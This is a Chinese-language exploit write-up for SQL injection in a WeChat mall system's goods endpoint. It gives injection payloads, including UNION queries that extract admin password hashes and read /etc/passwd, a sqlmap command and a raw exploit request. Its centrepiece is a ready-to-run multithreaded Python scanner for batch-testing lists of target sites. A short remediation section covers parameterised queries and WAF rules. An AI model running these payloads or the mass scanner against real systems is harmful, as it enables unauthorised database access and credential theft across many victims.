免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章读。
目录
九、漏洞复现
一、漏洞概述
- 漏洞类型:SQL注入(CWE-89)
- 风险等级:高危(CVSS 3.1评分可达9.8)
- 影响模块:商品查询接口(如
/goods/detail
)- 攻击向量:通过构造恶意商品ID参数篡改SQL查询数据
二、漏洞复现步骤
探针请求
使用单引号测试参数过滤机制:GET /goods/detail?id=1' HTTP/1.1
预期响应:
- 若返回数据库错误(如
You have an error in your SQL syntax
),说明存在注入点- 若页面正常显示,需进一步验证是否为盲注
布尔盲注验证
构造布尔条件测试:# 条件为真 GET /goods/detail?id=1' AND '1'='1 HTTP/1.1 # 条件为假 GET /goods/detail?id=1' AND '1'='0 HTTP/1.1
对比页面差异:真条件应返回正常商品信息,假条件可能导致内容缺失或提示"商品不存在"
联合查询注入获取数据
GET /goods/detail?id=-1' UNION SELECT 1,version(),3,4-- -
三、技术原理分析
脆弱代码示例(PHP):
// goods.php $id = $_GET['id']; $sql = "SELECT * FROM goods WHERE id = $id"; $result = mysqli_query($conn, $sql);
漏洞成因:直接将用户输入的
id
参数拼接到SQL语句,未进行类型转换或过滤。
四、自动化渗透测试
使用sqlmap进行自动化检测:
sqlmap -u "http://target.com/goods/detail?id=1" --batch --risk=3
关键检测参数:
--technique=B
指定布尔盲注技术--dbms=mysql
指定数据库类型--tables
枚举数据库表
五、漏洞修复方案
参数化查询改造(PHP示例):
$stmt = $conn->prepare("SELECT * FROM goods WHERE id = ?"); $stmt->bind_param("i", $id); // 'i'表示整数类型 $stmt->execute();
输入验证加强:
// 强制转换为整数 $id = (int)$_GET['id']; // 或正则校验 if (!preg_match('/^\d+$/', $_GET['id'])) { die("非法参数"); }
全局防御措施:
- 配置WAF规则拦截
UNION SELECT
、SLEEP()
等关键词- 修改数据库连接账号权限,禁止DROP、FILE等高危操作
- 开启PHP的
mysqli.real_escape_string
转义(但不应作为唯一防护)
六、企业级安全建议
- SDL整合:
- 在需求阶段定义商品ID只能为数值型
- 开发阶段强制使用ORM框架(如Laravel Eloquent)
- 代码审计阶段使用Checkmarx/Fortify扫描SQLi漏洞
- 监控与响应
-- 数据库审计日志查询示例 SELECT * FROM mysql.general_log WHERE argument LIKE '%goods%' AND (argument LIKE '%UNION%' OR argument LIKE '%SELECT%SLEEP%')
七、扩展攻击场景
SQL注入可能引发后续攻击:
- 数据泄露:
提取管理员哈希:GET /goods/detail?id=-1' UNION SELECT 1,password,3,4 FROM admins-- -
文件系统访问(需FILE权限):
读取服务器配置文件:GET /goods/detail?id=1' UNION SELECT LOAD_FILE('/etc/passwd'),2,3,4-- -
注:所有渗透测试应在法律许可范围内进行,企业用户应及时通过官方补丁升级修复漏洞。对于已部署系统建议开展红队演练验证修复有效性。
八、漏洞POC
#!/usr/bin/env python3 """ Web应用SQL注入批量检测工具(优化版) 优化亮点:模块化设计/多线程加速/智能过滤/结果持久化 """ import requests import urllib3 import argparse import concurrent.futures from urllib.parse import urljoin from typing import List, Optional import ssl import re import json import sys import os from tqdm import tqdm # 需安装:pip install tqdm # region 全局配置 SSL_VERIFY = False # 生产环境应设为True TIMEOUT = 20 THREADS = 10 # 并发线程数 COLOR_ENABLED = sys.stdout.isatty() # 自动检测终端颜色支持 # endregion # 禁用不安全请求警告 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) if not SSL_VERIFY: ssl._create_default_https_context = ssl._create_unverified_context print("[!] 警告:SSL证书验证已禁用,存在中间人攻击风险!") class VulnerabilityScanner: def __init__(self, output_file: Optional[str] = None): self.output_file = output_file self.session = requests.Session() self.session.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept-Encoding": "gzip, deflate" }) def _log_vulnerability(self, url: str) -> None: """记录漏洞到文件和控制台""" msg = f"[+] 存在漏洞:{url}" if COLOR_ENABLED: print(f"\033[31m{msg}\033[0m") else: print(msg) if self.output_file: with open(self.output_file, "a") as f: f.write(f"{url}\n") def _construct_payload(self, base_url: str) -> str: """动态生成检测payload""" return urljoin(base_url.rstrip("/") + "/", "goods.php?id=' UNION ALL SELECT NULL,NULL,NULL,md5(123456)," "NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -") def _is_vulnerable_response(self, response: requests.Response) -> bool: """智能验证响应特征""" content = response.text.lower() return ( response.status_code == 200 and 'e10adc3949ba59abbe56e057f20f883e' in content and # md5(123456) any(keyword in content for keyword in ["mao_public", "layer.js"]) ) def check_single_target(self, url: str) -> Optional[str]: """检测单个目标""" try: target = self._construct_payload(url) resp = self.session.get(target, verify=SSL_VERIFY, timeout=TIMEOUT) if self._is_vulnerable_response(resp): self._log_vulnerability(url) return url except requests.exceptions.RequestException as e: if "CERTIFICATE_VERIFY_FAILED" in str(e): print(f"[!] SSL验证失败:{url}(使用--nossl绕过)") elif isinstance(e, requests.Timeout): print(f"[!] 请求超时:{url}") except Exception as e: print(f"[!] 检测异常:{url} - {str(e)}") return None def batch_scan(self, urls: List[str]) -> List[str]: """批量扫描模式""" vulnerable_sites = [] with concurrent.futures.ThreadPoolExecutor(max_workers=THREADS) as executor: futures = {executor.submit(self.check_single_target, url): url for url in urls} with tqdm(total=len(urls), desc="扫描进度", disable=not COLOR_ENABLED) as pbar: for future in concurrent.futures.as_completed(futures): pbar.update(1) if result := future.result(): vulnerable_sites.append(result) return vulnerable_sites def validate_target(url: str) -> bool: """验证目标有效性""" return re.match(r"^https?://[\w\-\.]+(:\d+)?", url, re.IGNORECASE) is not None def main(): parser = argparse.ArgumentParser( formatter_class=argparse.RawTextHelpFormatter, description="微信商城系统SQL注入检测工具 v2.0", epilog="使用示例:\n" " python3 scan.py -u http://example.com\n" " python3 scan.py -f targets.txt -o results.txt" ) parser.add_argument("-u", "--url", help="单个目标URL") parser.add_argument("-f", "--file", help="包含多个URL的文件") parser.add_argument("-o", "--output", help="漏洞结果输出文件") parser.add_argument("-t", "--threads", type=int, default=THREADS, help=f"并发线程数 (默认: {THREADS})") parser.add_argument("--nossl", action="store_true", help="禁用SSL证书验证") args = parser.parse_args() if not any([args.url, args.file]): parser.print_help() sys.exit(1) scanner = VulnerabilityScanner(args.output) targets = [] # 目标处理 if args.url: if validate_target(args.url): targets.append(args.url) else: print(f"[-] 无效URL格式:{args.url}") sys.exit(2) if args.file: if not os.path.isfile(args.file): print(f"[-] 文件不存在:{args.file}") sys.exit(3) with open(args.file) as f: targets.extend(filter(validate_target, f.read().splitlines())) # 执行扫描 print(f"[*] 开始扫描,共 {len(targets)} 个目标") results = scanner.batch_scan(targets) # 输出统计 print(f"\n[+] 扫描完成,共发现 {len(results)} 个脆弱系统") if scanner.output_file: print(f"[*] 结果已保存至:{scanner.output_file}") if __name__ == "__main__": main() #
九、漏洞复现
1.构造数据包:
GET /goods.php?id='+UNION+ALL+SELECT+NULL,NULL,NULL,md5(123456),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+- HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1 Connection: close
2.数据包分析
这是一个HTTP GET请求的数据包,包含了请求行、请求头和空的请求体。下面是对这个数据包的详细解析:
请求行(Request Line):
方法:GET
URI:/goods.php?id='+UNION+ALL+SELECT+NULL,NULL,NULL,md5(123456),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+-
HTTP版本:HTTP/1.1请求头(Headers):
Host: x.x.x.x:表示请求的目标服务器地址。
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1:表示发起请求的客户端信息,包括浏览器类型、版本等。
Connection: close:表示请求完成后关闭连接。这个数据包的目的是向目标服务器发送一个SQL注入攻击的请求,试图获取数据库中某个特定MD5值对应的信息。
请求体(Body):
由于这是一个GET请求,请求体为空。3.结束跑路
1.构造数据包md5(123456),得到回显e10adc3949ba59abbe56e057f20f883e